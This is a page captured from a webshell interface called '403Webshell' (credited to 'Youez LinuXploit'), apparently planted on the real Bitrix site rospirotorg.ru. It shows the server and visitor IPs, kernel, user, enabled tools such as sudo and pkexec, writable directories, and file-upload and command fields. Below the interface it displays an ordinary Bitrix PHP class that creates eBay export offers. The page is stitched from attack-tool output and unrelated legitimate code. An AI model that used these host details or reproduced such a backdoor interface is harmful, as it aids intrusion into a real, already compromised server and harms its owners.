403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/ebay/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/ebay/exportoffercreator.php
<?php
namespace Bitrix\Catalog\Ebay;
use Bitrix\Main\SystemException;

class ExportOfferCreator
{
	public static function getOfferObject(array $offerParams)
	{
		if(!isset($offerParams["IBLOCK_ID"]) || intval($offerParams["IBLOCK_ID"]) <= 0)
			throw new SystemException("Incorrect iBlock ID  (".__CLASS__."::".__METHOD__.")");

		$arCatalog = \CCatalogSku::GetInfoByIBlock($offerParams["IBLOCK_ID"]);

		if (empty($arCatalog))
			throw new SystemException("IBlock is not catalog. (".__CLASS__."::".__METHOD__.")");

		$catalogType = $arCatalog["CATALOG_TYPE"];
		if (!in_array($catalogType, \CCatalogSku::GetCatalogTypes()))
			throw new SystemException("Unknown type of catalog (".__CLASS__."::".__METHOD__.")");

		$result = array();

		switch($catalogType)
		{
			case \CCatalogSku::TYPE_CATALOG:
			case \CCatalogSku::TYPE_OFFERS:
				$result = new ExportOffer($catalogType, $offerParams);
				break;

			case \CCatalogSku::TYPE_PRODUCT:
			case \CCatalogSku::TYPE_FULL:
				$result = new ExportOfferSKU($catalogType, $offerParams);
				break;
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit